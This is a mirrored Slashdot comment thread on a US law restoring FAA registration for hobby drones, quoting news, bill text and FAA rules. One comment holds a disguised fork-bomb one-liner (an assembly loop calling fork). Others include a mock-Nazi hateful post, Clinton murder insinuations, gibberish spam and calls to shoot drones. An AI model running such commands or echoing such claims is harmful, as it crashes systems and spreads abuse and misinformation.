Slashdot Mirror
Trump Signs Law Forcing Drone Users To Register With Government (thehill.com)
President Trump signed a sweeping defense policy bill into law on Tuesday that will allow the government to require recreational drone users to register their model aircraft.
This comes after a federal court ruled in May that Americans no longer have to register non-commercial drones with the Federal Aviation Administration (FAA) "because Congress had said in a previous law that the FAA can't regulate model aircraft," reports The Hill. From the report: In December 2015, the FAA issued an interim rule requiring drone hobbyists to register their recreational aircraft with the agency. The rule -- which had not been formally finalized -- requires model aircraft owners to provide their name, email address and physical address; pay a $5 registration fee; and display a unique drone ID number at all times. Those who fail to comply could face civil and criminal penalties. While Congress directed the FAA to safely integrate drones into the national airspace in a 2012 aviation law, lawmakers also included a special exemption to prevent model aircraft from being regulated. A D.C.-based appeals court cited the 2012 law in its ruling striking down the FAA drone registry, arguing that recreational drones count as model aircraft and that the registry counts as a rule or regulation.
I love reducing government restrictions by creating new ones.
I thought he was all about the deregulation? *crickets*
"We need to get over this notion, that, for Apple to win... Microsoft must lose." - Steve Jobs, 1997
...Enforcing that.
Make the "drone cops" wear propeller-beanies.
Strat
Progressivism (aka US 'Liberalism'): Ideas so good they need a police/surveillance-state to enforce.
This is the start. Trump is going to make the US just like Nazi Germany.
mental jackpot achieved by your beloved POTUS.
So, register all drones. What about guns? I don't see how the 2d Amendment prohibits gun registration (it talks about the right to "keep and bear" arms, not "keep and bear anonymously"), so if everyone has to register their drones, why shouldn't they have to register their guns?
https://www.youtube.com/watch?v=M_rNnErg-oM
ISIS was already using them against the Syrian army, it's not theoretical anymore. For attacks like the one in this youtube video, but also in combat operations.
Flippty flop!
if you don't crack down on the idiots doing stupid things with drones. they're going to end up 100% banned.
You wouldn’t play with your toys responsibly so they get taken away.
. V ; `^ ORANG . JUSSIVE `V out V `BEFELL ; `^ V we bes in ORANG in V in
`V V in V out V `V we bes ML in V `V out V in V V we bes . V ; `^ `ML in
V . V . V we bes V we bes V V . V `V out V . V . V we bes `V ; `^ V V in
V out V `V `DIAM `ORANG in V `V `V `V out V `V out V we bes ORANG in V in
JUSSIVE `V out V `V we bes V . V V `V out V `JUSSIVE we bes out V in V in
V out V `V out V `V we bes V in ML `V out V `V out V we bes out V in V in
V out V . ORANG . JUSSIVE `V out V `BEFELL . V out V we bes ORANG `ORANG `
I would suggest making it legal to shoot those little fuckers out of the sky. If people behaved with them it would be great, but they don't. People don't want government spying on them but have no problem flying their drones over to the neighbor's pool to see if the can pick up a few nude bathers. Let me use the drones as target practice and I'll be fine.
How about a moderation of -1 pedantic.
Ok .. and do tourists, visitors to America, people on work visa's, etc, do they need to register their drone if they decided to bring one with them on their trip?
How is that going to work?
Is a $10 Chinese quadcopter a drone? TFA doesn't explain what it is.
Good thing I own a quadcopter instead.
1) $5 fee is a tax and he cannot create his own taxes = needs act of Congress.
"But the 2018 National Defense Authorization Act, which landed on Trump’s desk Tuesday, would restore the FAA’s registration system for civilian drones."
2) No, it would say that the bit in the law that says "FAA cannot regulate model aircraft" is invalidated by Trump. FAA cannot regulate model aircraft because the FAA is legally prohibited from doing so by section 336, not because it didn't have authority, but because LAW PREVENTED IT. Trump cannot waive laws, he needs to go ask Congress for that.
SEC. 336. SPECIAL RULE FOR MODEL AIRCRAFT. ...the Administrator of the Federal Aviation Administration may not promulgate any rule or regulation regarding a model aircraft, or an aircraft being developed as a model aircraft....
(Where model aircraft are unnamed planes flown in line of sight for hobby/recreational purpose.)
FAA's Registration was a trick, people were supposed to register and in the process, they were accepting FAA's authority to regulate them by civil process. Which is why the courts blocked it.
There are an awful LOT of folks the Clintons knew who are very dead. Now I don't know how many dead people YOU know, but I'm guessing it's no where near their number.
No evidence, of course, but if someone walked into a room that worked professionally with that many now deceased people, I would hope little red flags would pop up for you.
There are professional career soldiers who don't have that level of bromance with death.
Just sayin.
Try this:
Go to downtown Canada and whip out your guns around city hall, fire them suckas off like dubya in a wild west shootout with some crafty WMDs and see what happens.
That's about how it works.
Do I still have to register it?
http://www.thedrive.com/aerial...
The controversial drone policy introduced by the Federal Aviation Administration in 2015, requiring recreational drone users to registers their UAVs, was constitutionally overturned in May of this year, but it may end up being enforced again next year by being included in the upcoming National Defense Authorization Act of 2018.
According to Bloomberg, both the House and Senate agree on slipping the unmanned aerial vehicle registry into the defense bill, as demand for regulation in the drone industry is at an all-time high. Most recently, the White House expanded drone-testing regulations to presumably push toward standardizing nationwide UAV delivery. The current administration may deem a nationwide hobby-drone registration as a necessary first step toward that.
The previous policy was overturned
http://www.thedrive.com/aerial...
In 2015, the FAA officially announced that all owners of drones heavier than 250 grams (which is about as light as a cup of water) must be registered as "drone operators" in a national database. This, of course, startled some, as it seemed this regulation could mark the beginning of the end for freedom of use regarding hobby drones. Others felt it was a fair deal in the right direction, as we reported on last year. However, in a twist of turns, the District of Columbia circuit court of appeals overturned this legislation on Friday, May 19th, as its compatibility with a previous FAA ruling from 2012 is far from symbiotic.
The 2012 "FAA Modernization and Reform Act" rules that the FAA has no right to "promulgate any rule or regulation regarding a model aircraft", and as Circuit Judge Brett Kavanaugh sees it, the 2015 ruling clearly interferes with this established law. He adds, "Statutory interpretation does not get much simpler. The Registration Rule is unlawful as applied to model aircraft." Essentially, recreational drone users have been exempted from the aforementioned registry, which according to Popular Science, over 800,000 people have joined since 2015. This is something we at The Drive keep a close eye on, and an issue we regularly report on.
So Congress put a paragraph into the 2018 NDAA to restore registration
https://www.bloomberg.com/news...
The U.S. Court of Appeals in Washington overturned the FAA drone registration system in May, finding that earlier legislation passed in 2012 didn't give the agency legal authority for it. A one-paragraph addition to the defense bill said that the registration system "shall be restored" as soon as the legislation becomes law.
https://www.congress.gov/bill/...
(d) Restoration Of Rules For Registration And Marking Of Unmanned Aircraft.-The rules adopted by the Administrator of the Federal Aviation Administration in the matter of registration and marking requirements for small unmanned aircraft (FAA-2015-7396; published on December 16, 2015) that were vacated by the United States Court of Appeals for the District of Columbia Circuit in Taylor v. Huerta (No. 15-1495; decided on May 19, 2017) shall be restored to effect on the date of enactment of this Act.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
#MAGA.
Oh, for fucks sake, I can't even do the sarcasm thing anymore...
Awesome furniture, accessories and cabinetry in Santa Rosa, CA: http://humanity-home.com/
Sounds like someone watched Slaughterbots.
I'm fairly certain that with a lithium ion battery, a raspberry pi, and some motors you could just make your own drone. Unlike trying to make your own gun the components are much easier to come by.
How do they propose locking down something that seems a 12 year old could make it? What exactly would they do to this theoretical DIY'er if caught with such an offending device? What will they do in a few years when it is even more practical and easy to just build one yourself?
Serious question... I don't live in the USA, am I now prohibited from bringing my recreational drone over the border?
File under 'M' for 'Manic ranting'
The clintons know an absolutely ludicrously large number of people.
Speaking as a Nazi Trump has been a major disappointment. The final straw for me was when he demanded Assad get rid of his chemical weapons. Excuse me, but what the hell does Trump think he's doing. We should be arming Israel's enemies with poisonous gas, not demanding they get rid of it. Events like this have seriously made me question his commitment to the eradication of world jewelry. I still have faith that he's a racist, and have high hopes for the wall (haha get it high hopes) , but the man we have gotten as president is a pale reflection of the man I was promised. I was told he would be the next Hitler. I was told we could expect him to begin the process of kicking the Jews, the Mexicans, the Blacks out of America. Now I'm sitting here with him as president wondering where everything went wrong.
To quote President Trump, Very Sad. It's a sad day for nazism, and I will not be voting for him again.
video: https://www.youtube.com/watch?...
Look, there is a lot of very good reasons to regulate drones. Their cameras are both an invasion of privacy and also allow people to control them from very far away.
But there is no reason at all to include model aircraft that do NOT have cameras on them. The lack of a camera means you can only use them within visible range.
excitingthingstodo.blogspot.com
The passage of the law just allows the FAA to issue such a rule. It could be that under Trump they would not do so after all... this could be a case where a petition might do some good.
Remember the original rule was instituted by the Obama FAA.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Many of which are, as the previous AC mentioned, quite dead.
Show of hands: Who here believes Trump knows what the fuck he's signing? Seriously.
You are welcome on my lawn.
... about regulating motorcycles.
It little behooves the best of us to comment on the rest of us.
And if we assume that what you are implying is 100% true and then a whole bunch more stuff as well, that excuses Trump how?
Tie some helium balloons to your drone.
Presto, Chango, it's a Blimp, not a drone.
The Clinton murder stuff is the worst kind of batshit crazy, but sir, that was still pretty fucking funny.
As someone who has had a consistent issue with a neighbour overflying and filming my female housemate while she sunbathes in our own back yard, it's hard to object to this. If the drone had to display an identification number, I'd be able to identify him and report him to the police, and if it has none, the police would have recourse to remove the damn thing from the airspace over my backyard and actually punish the peeping tom. And more importantly, the penalties the culprit will suffer when caught while be FAR greater, since LAPD have so far shown absolutely no interest in doing anything about it whatsoever - because they know it'll require effort and paperwork and the guy will never suffer anything more than a wrist-slap fine, if that. And before anyone suggests the obvious, bear in mind I live in urban LA, where the use of firearms to take out an overflying drone is distinctly frowned upon by local law enforcement - to a FAR greater degree than being a peeping tom is, apparently. I am seriously considering some kind of net launcher, though, I have to admit.
If I mount a weapon on it, can I say it's a special kind of gun and that registering or regulating it in any way whatsoever it is an infringement of my 2nd Amendment rights? WIN!
I'm confused. On the posts before on this topic for the last few years there seemed a mild consensus for pragmatic regulation of drones. And you'd generally have several pages of detailed reason based calm discussion. Now all of a sudden every poster on this thread is passionately against drone laws and hurling nothing but ad hominins about how Trump is a monkey? The quality of discourse here really has plummeted.
Excuses him from what? From taking many steps to reduce the overall regulator burden and the number of law-like non-laws that Obama "penned" into place, not counting the ones that the Supreme Court took away from him as plainly unconstitutional?
Don't disappoint your bird dog. Go to the range.
Time to get my paper airplane collection all registered, as they're Model Airplanes! :-O That's going to get expensive as fuck really quick tho at $5/plane
I'm not in the USA but I enjoy watching you mongrels get angry about him.
Folks, Haven't you figured this out. The President is going to have a Mexican company build the wall, and then stiff them. Then they will have paid for it. It is how he operates.
model aircraft owners are required to ... display a unique drone ID number at all times.
Flood the system with bogus drone IDs.
Am I the only one who thinks "The Bogus Drones" would be a good name for a group? Yea, Ok. time for meds again.
The Russians have won. They have made the world a cesspool of distrust, greed, fear and hate.
Great news, Too many idiots with more money than brains.
And if you miss and/or hit someone, will you be willing to take responsibility for that?
This is slashdot, some of us are engineers. Guns are designed to kill people. Drone guns will be designed to kill drones. Obvious methods come to mind that both make the weapon far more deadly to drones, and far less deadly to humans.
Cities are finding more and more ways to turn problems into income. That five dollar registration fee will be increased until it is expensive for drone owners. For example if you fail to keep a lovely lawn and your neighborhood looks good except for your lawn Building and Zoning can fine you big bucks every day until they feel your lawn looks pretty good. Any problem can be converted to cash in a corrupt system.
What if you were paid money to register? If registration were positively incentivized through reimbursement, would that change your mind?
On the other hand, if the avoidance of registration was a criminal offense, would that affect your decision? What punishments do you feel would be appropriate for a person who avoids this registration and is caught by law enforcement? Should punishment be limited to fines, or should law enforcement be allowed to search private homes for drones to jail the owners? Should a person lose their right to vote for owning or using an unregistered drone? Should they be jailed or kicked out of the county for this crime?
What about other forms of positive incentivization, like recognition? Would being recognized as an "official US drone conductor, to include the rights and responsibilities that this title bears" be a valuable compensation? (I'm thinking somewhat akin to Ham operators here.)
Would licensing of drone operators be more valuable than registration of drone hardware? Should we require training for responsible drone operation? Do we need periodic testing of drone operators to ensure that they can follow traffic rules appropriately? Do we need to create a state-wide Department of Aerial Vehicles?
If you had both positive and negative incentivizations and an extended system of regulation concerning the operation of drones, would that improve the market for drones?
So... that will play out one of two ways. Either the work will be garbage, proving the ineptitude of Mexican construction workers and failing to keep them out; or the work will be good, proving the value of Mexican construction workers, and we'll forever regret erecting an additional (literal) barrier to their entry into our workforce.
There's no winning scenario for them, there. Or for us, it would seem.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
Folks, Haven't you figured this out. The President is going to have a Mexican company build the wall, and then stiff them. Then they will have paid for it. It is how he operates.
He'd have to find someone dumb enough to fall for that first. Among the murderers and rapists and some, I assume, are good people. But they aren't as stupid as Trump.
Just attach some kind of bullet-firing mechanism to a drone and the NRA will fight tooth and nail against any form of registration.
You will have plenty of time to register your drones cause the ala carte net balkanization of the Internet will free you from games and social media.
In all cases that I'm aware of including the definition of the word, a model is supposed to be a representation of something. It may be an aesthetic ideal, or cosmetically identical while being non-functional or in the case of model aircraft, partially functional but shrunk down in size. In what way is a quadcopter(We all know that's what is being referred to) a 'model' of anything? As far as I can tell, pretty much all commercially available 'drones' are a complete and finished product that does everything that it's designed to do. The only way they could be classed as 'models' is in cases like the Millennium Falcon quadcopter, where it clearly is a partially functional representation of something else.
I will only register my flying toys when lego's and barbie dolls have to be registered also. Today I became a criminal
I hope this law covers bagpipes because OMG the noise and the droning can drive a sane man to drink.
WOW, that was a whole bunch of backflips you did there to avoid saying The Donald just created new regulations.
How is that different from a driver's license or pilots license or firearms registration or...?
A big problem with this type of regulation is that they are relying on the FAA because drones fly. What's the plan when, inevitably, somebody creates a small, cheap robot with a camera that silently walks or crawls instead of flies? Even if they cost $1,000's - I would imagine paparazzi-types will snatch them up. Yes, there are trespassing laws, but once could build technology that would be very difficult to trace (ex. records on embedded storage instead of phone-home, broadcasts encrypted over cordless phone spectrum, etc.).
Of course, once Amazon and Google release their version of "friendly helpers" (Alexa on legs) to help you buy more stuff (and collect more of your personal telemetry), we're all screwed anyway...
I'm no legal expert, but to me, below is the only part that matters.
They explicitly state, 'FPV' (First Person View) assistance, precludes the statue, of which it then falling under the accepted 'hobby' definition outlined in the 'Special Rule for Model Aircraft'.
I.e., if 'FPV' is used, then it does not meet the accepted criteria outlined as 'model aircraft' for hobby activity.
They could have simply stated use of any model aircraft, beyond 'visual operator' and 'maintaining line of sight', using other implementation and manner, if under the 55lb limit, is now requiring registration.
Instead, they're being lazy and anything from a $20 'quad-copter' on up, is now the required registration.
This is a poorly conceived over-reach, and does more harm to those doing this anything with model aircraft as a 'hobby'.
They also fail to take into account 'drone' definition, meaning programmable flight path model aircraft, vs. that which isn't programmable. As well as explicit definition of use for 'model aircraft' with 'First Person View' capability.
This group of 'aircraft' (a term used loosely...) should be an explicit class requiring FAA registration.
Again, poorly conceived, they're being lazy, and does not account for future hobbyist avenues of recreation.
From the faa site on this...
By definition, a model aircraft must be “flown within visual line of sight of the
person operating the aircraft.” P.L. 112-95, section 336(c)(2).
1 Based on the plain
language of the statute, the FAA interprets this requirement to mean that: (1) the aircraft
must be visible at all times to the operator; (2) that the operator must use his or her own
natural vision (which includes vision corrected by standard eyeglasses or contact lenses)
to observe the aircraft; and (3) people other than the operator may not be used in lieu of
the operator for maintaining visual line of sight. Under the criteria above, visual line of
sight would mean that the operator has an unobstructed view of the model aircraft. To
ensure that the operator has the best view of the aircraft, the statutory requirement would
preclude the use of vision-enhancing devices, such as binoculars, night vision goggles,
powered vision magnifying devices, and goggles designed to provide a “first-person
view” from the model. Such devices would limit the operator’s field of view thereby
reducing his or her ability to see-and-avoid other aircraft in the area. Additionally, some
of these devices could dramatically increase the distance at which an operator could see
the aircraft, rendering the statutory visual-line-of-sight requirements meaningless.
Finally, based on the plain language of the statute, which says that aircraft must be
“flown within the visual line of sight of the person operating the aircraft,” an operator
could not rely on another person to satisfy the visual line of sight requirement. See id.
(emphasis added). While the statute would not preclude using an observer to augment the
safety of the operation, the operator must be able to view the aircraft at all times
2
Sub-note 2 is:
2 The FAA is aware that at least one community-based organization permits “first person view” (FPV)
operations during which the hobbyist controls the aircraft while wearing goggles that display images
transmitted from a camera mounted in the front of the model aircraft. While the intent of FPV is to provide
a simulation of what a pilot would see from the flight deck of a manned aircraft, the goggles may obstruct an operator’s
vision, thereby preventing the operator from keeping the model aircraft within his or her visual line of sight at all times.
I am libertarian and hate unnecessary regulation; but drones pose a huge threat to aviation - both commercial and sport aviation. Imagine hitting one of those things in the windshield of your airplane at a few hundred miles per hour. Death is the certain result. And now every kid has a drone.
Drones that are able to fly above 100 feet should be required to have transponders. Sport amphibious aircraft fly at low altitude when landing on a lake.
Perhaps registration is not needed; perhaps what we need is to require the manufacturers to embed transponders in the things, and have a $100,000 fine for flying a drone without a transponder or a defective transponder. Something needs to be done.
Yep, presidents sign laws after the house and senate create and pass them up the chain. So what's new here? I do detect a somewhat negative connotation in the headline (Trump is Forcing), which has got to be why this passed through the /. mods.
" the FAA can't regulate model aircraft,"
Actually. . . drum role please . . .
FAA does regulate model aircraft and model rockets. Just fly one into monitored airspace such as for example near an airport.
No, it speaks volumes about it being Alabama.
But hey. At least it's not Mississippi.
Trump is just a BIG GOVERNMENT FROG. He says he wants to drain the swamp but he's just building his own swamp. BAD. If he hadn't had such terrible ratings on the apprentice or was taken seriously by the INSECURE leader of North Korea maybe he would have found something that worked. FRUMP
Leave him alone, he's still trying to find the kids under that pizza joint.
At least Trump did it via rule of law and not just an executive decision like Obama did.
I still won't comply with it because I view drones as a weapon and that falls under the 2nd amendment. if police have them then so can we and I won't give the enemy any information they can use against me.
seriously. Goldman Sachs runs the Whitehouse and has for 20 years. They shut down Occupy WallStreet using elements of the Patriot Act to organize local police and the FBI. There's a mountain of evidence that voter suppression and outright hacks and not a peep from anybody. And then there's the whole Russian interference. I cop just shot a man who was begging for his life with an AR-15 and got off scott free. And lord, anybody remember Dick Cheney and his blatant war crimes? Christ, if I want to look at the local level what about all the bribes paid to make red light cameras happen? I could go on and on and on and on...
There is zero attempt hide their corruption. This has nothing to do with that. This is about keeping numbnuts from taking a drone to a football game and crashing it into the stands not as an act of terror but an act of sheer, drunken 'hold my beer and watch this' stupidity.
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
Need an amendment that any clause in a bill not related to the main purpose of the bill can automatically be struck down by any court.
It makes no sense to me on how if the bill was split it two, one part would not pass. But then you do a lot of horse trading and stick the pig food for each party and all of a sudden a budget bill can include a clause outlawing NFL football.
If the ideas are so good, why cannot they stand on their own.
Trump complained about Obama using Executive Orders. He didn't qualify that with, "Obama is using blue-green Executive Orders, and he should be using yellow-green Executive Orders." It was about excessive use of Executive Orders.
Now Trump is excessively using Executive Orders. Pot, meet kettle. Hypocrisy, thy name is Trump.
I am so glad that the Republican party, which favors small government and minimizing Federal regulations, is in power.
The Chicago convention actually requires this. Nobody has made a fuss yet, nutty they are aircraft and there's no exemption carved pity in the Chicago convention to specifically exempt toys.
Case in point. Everyair force drone and missile has a tail number and proper maintenance records in order to comply with this. The space shuttle too had a tail number.
Great Boogeyman are Eternal and Omnipresent.
Death is the only certain result about anything!
So which 2 old regulations did he cancel then?
That's what he promised...
The real question is who added the section on registration and why? Was it perhaps a democrat adding something trying to get the defense bill stopped? Shit gets added to bills all the time in an attempt to stop people from passing them.
I guess that will be like gun registration. Those who intent to do nefarious and illegal activities will not register. So really, what good does registering do?
Register your drone: ok. Register your car: ok. Register your gun: HOW DARE YOU IMPEDE ON MIGHT 2ND AMENDMENT RIGHTS!!
You have to be smarter than the machine you're working with.